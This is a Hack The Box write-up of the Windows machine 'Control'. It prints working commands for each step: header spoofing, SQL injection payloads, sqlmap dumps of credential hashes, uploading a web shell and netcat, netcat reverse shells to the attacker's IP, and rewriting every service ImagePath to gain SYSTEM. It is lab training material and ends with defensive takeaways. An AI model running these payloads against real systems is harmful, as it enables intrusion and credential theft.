## Hack The Box :: Control

·  ☕ 8 min read  ·  🧔🏻 noobintheshell

Control is a Hard Windows box created by TRX. It was released on November 23rd, 2019 and was retired on April 25th, 2020. The users rated the difficulty 6.4/10 and gave an overall score of 4.5/5 to this box.

## TL;DR

The admin portal of a website is not protected and is supposed to be accessed only through a proxy. This is bypassed using the X-Forwarded-For HTTP header. One of the admin features, the product search, suffers from a SQL injection vulnerability. We use sqlmap to dump the database and get the users’ hashes. We crack hector and manager passwords online. manager is the database user and he has FILE permission which allows us to upload Netcat and a PHP web-shell to get a reverse Powershell as iusr. We pivot to user hector with a Powershell command equivalent to runas and by using the password from the database. The user command history shows that one of the last commands was run to check the _ACL_s of HKML:\SYSTEM\CurrentControlSet. We discover that hector has full access to the sub-key Services which allows us to modify the path of any service executable. We find some service that we can start, change the executable path to point to our Netcat and fire it to get a reverse shell as SYSTEM.

## Reconnaissance & Enumeration

### Open Ports

An NMAP scan shows the following (partial) output:

$sudo nmap -sS -sV -p- 10.10.10.167 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 3306/tcp open mysql? 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC We discover: • an IIS 10 web server on the default HTTP port, which could run on Windows Server 2016 or 2019, • a MySQL server on its default port as well, • some MSRPC ports. ### Web discovery We access a website that proposes the “Wifi of the Future”: The source code leaks some information: <!– To Do: — Import Products — Link to new payment system — Enable SSL (Certificates location \\192.168.4.28\myfiles) <!– Header –> There is as well an admin space /admin.php that shows the following message: Access Denied: Header Missing. Please ensure you go through the proxy to access this page A file and directory discovery with wfuzz finds the following information: assets/ images/ uploads/ admin.php about.php index.php database.php Spidering the website we get the following files as well in assets/js/functions.js: We add to this create_product.php and create_category.php that we find manually. Of all those pages, only update_product.php outputs something: ## Gaining Access ### Initial shell The first thing we can try is to bypass the HTTP header check to access the admin page. We can try the following headers that are known to bypass proxies or WAFs in case of misconfiguration or a badly implemented check: X-Originating-IP X-Forwarded-For X-Remote-IP X-Remote-Addr Forwarded Trying all of them with the IP 127.0.0.1 shows the same error message. However, if we try with the IP 192.168.4.28 that we found in the source code, we get access with:$ curl http://control.htb/admin.php -H X-Forwarded-For: 192.168.4.28"

To ease the discovery, we configure this header permanently in Burp so it is sent with each request:

Now we can access the admin portal through the proxy:

From there we can search the products database as well as create, delete and update products and categories.

We quickly find out that the search function is vulnerable to SQL injections. Both boolean and union-based. The payload ' or '1'='1 outputs all the products and we can output some database information with ' union select 1, database(), user(),1,1,1-- -:

As we can see, the database name is warehouse and the service user manager.

Let’s dump the whole database with sqlmap and by using the information we already know to speed up the process:

$sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --dbms=MySQL -D warehouse --technique=U --dump Database: warehouse Table: product_category [4 entries] +----+----------+ | id | category | +----+----------+ | 1 | Default | | 2 | Adapters | | 5 | Servers | | 6 | Monitors | +----+----------+ Database: warehouse Table: product [9 entries] +----+-----+------------------------+-------+----------+----------+ | id | tax | name | price | category | quantity | +----+-----+------------------------+-------+----------+----------+ | 26 | 0 | Cloud Server | 20 | 1 | 2 | | 31 | 0 | TP-LINK TL-WN722N v3 | 60 | 2 | 15 | | 32 | 0 | D-Link DWA-171 | 29 | 2 | 5 | | 33 | 0 | TP-LINK Archer T2UH v2 | 111 | 2 | 25 | | 34 | 0 | Asus USB-AC53 Nano | 11 | 2 | 25 | | 35 | 0 | TP-LINK TL-WN725N v3 | 19 | 2 | 24 | | 36 | 0 | StarTech USB867WAC22 | 100 | 2 | 5 | | 37 | 0 | Asus USB-AC68 | 100 | 2 | 5 | | 38 | 0 | p | 1 | 1 | 1 | +----+-----+------------------------+-------+----------+----------+ No useful information here. Let’s retrieve the MySQL users:$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --dbms=MySQL -D mysql -T user --technique=U --dump

// redacted output:
hector:0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

Using Crackstation to crack those hashes we get the password of hector and manager:

We have no way to log in remotely with those credentials but the user manager has the FILE privilege which means that we can try to write files on the system:

$sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --dbms=MySQL --technique=U --privileges […] [*] ‘manager’@‘localhost’ [1]: privilege: FILE […] Let’s try with a test file and the default IIS document root folder c:\inetpub\wwwroot:$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --file-write=./test.txt --file-dest=c:\\inetpub\\wwwroot\\test.txt
$curl http://10.10.10.167/owned.txt Owned Let’s upload a PHP web-shell (p0wny@shell) and Netcat:$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --file-write=./pownyshell.php --file-dest=c:\\inetpub\\wwwroot\\myshell.php

$sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --file-write=./nc.exe --file-dest=c:\\inetpub\\wwwroot\\nc.exe Then we can simply spawn a listener and use the web-shell to launch nc.exe and get a reverse Powershell: We get a shell as nt authority\iusr: ### User pivoting Let’s try to pivot to user Hector, who seems to hold the flag, with the password we got from the database. We first need the hostname: PS C:\users> hostname Fidelity Then we spawn another listener and run the following commands (equivalent to a runas) to get a reverse Powershell as Hector: PS C:>$pass = convertto-securestring ‘l33th4x0rhector’ -asplaintext -force

PS C:> $cred = new-object system.management.automation.pscredential(“fidelity\hector”,$pass)

PS C:> invoke-command -computer fidelity -scriptblock { c:\\inetpub\\wwwroot\nc.exe 10.10.14.94 1234 -e powershell.exe } -credential $cred ## Local Reconnaissance & Enumeration We start to enumerate the running processes, installed applications, whoami /all output and privilege escalation paths with PowerUp.ps1 but nothing stands out. The Get-History Powershell command only shows the commands executed in the current session. This is lost when the session is ended. As of Powershell 5.0, introduced with Windows 10, a new feature allows persisting the history in a file: PS C:> (Get-PSReadlineOption).HistorySavePath C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt PS C:> Get-Content C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt get-childitem HKLM:\SYSTEM\CurrentControlset | format-list get-acl HKLM:\SYSTEM\CurrentControlSet | format-list The user queried the registry. The first command lists the child items of CurrentControlset and the second one its _ACL_s. The child items are: PS C:> get-childitem HKLM:\SYSTEM\CurrentControlset | select -expand name get-childitem HKLM:\SYSTEM\CurrentControlset | select -expand name HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Enum HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Hardware Profiles HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Policies HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Software When Checking the _ACL_s of CurrentControlset and its child item, we see that Hector has full access on Services: This is quite dangerous as we can alter the configuration of any service to run a malicious command instead, with the privileges of the service user. ## Privilege Escalation We need to find a service that runs as SYSTEM and that we can either (re)start or that is started at given intervals through a scheduled task (unlikely). After digging and digging for the answer, I was not able to pinpoint a particular service. In the end, I chose a lame and noisy path: changing the config of all the services to run Netcat and then trying to restart each service one by one: // get list of services in registry PS C:>$regs = get-childitem HKLM:\SYSTEM\CurrentControlset\services | select -expand name

// modify ImagePath to point to netcat
PS C:> foreach ($reg in$regs){ $reg =$reg -replace ‘HKEY_LOCAL_MACHINE’,‘HKLM:'; set-itemproperty -path $reg -name ImagePath -value “c:\tmp\nc.exe 10.10.14.94 1234 -e powershell.exe” 2>$null}

// start services
PS C:> foreach ($reg in$regs){ $reg =$reg -replace ‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\services\\’,''; $reg; start-service$reg 2>$null} The first service we can start is ConsentUxUserSvc_4d818e but it is run as hector which does not help. We need to remove all services that end with _xxxxxx (where x is a hex number) which seem to only spawn reverse shells as hector. To simplify this, we remove all services that contain an underscore: PS C:> foreach ($reg in $regs){$reg = $reg -replace ‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\services\\’,''; if($reg.indexof("_") -eq -1){$reg; start-service$reg 2>\$null}}

And the next candidate is NetSetupSvc that spawns a reverse Powershell asSYSTEM this time. However, it drops after a few seconds.

We get a stable reverse shell by spawning yet another one from the SYSTEM shell to get the root flag:

## Conclusion

The first part of the box was quite straightforward, however, the privilege escalation part took me some time. First, to find the history file, then with all the trial and error to abuse those weak _ACL_s.

As usual, here are my takeaways:

• never rely on HTTP headers and IP addresses for authentication, they can be spoofed,
• always use prepared statements to execute SQL statements,
• review database user privileges regularly and remove all unnecessary grants (in our case: FILE),
• don’t mess with registry ACLs…ever!

## Resources

[1] Crackstation
https://crackstation.net/

[2] p0wny@shell
https://github.com/flozz/p0wny-shell

[3] Netcat for Windows
https://eternallybored.org/misc/netcat/

[4] Powershell Empire - PowerUp
https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1

Share on

WRITTEN BY
noobintheshell
AppSec Engineer and CTFer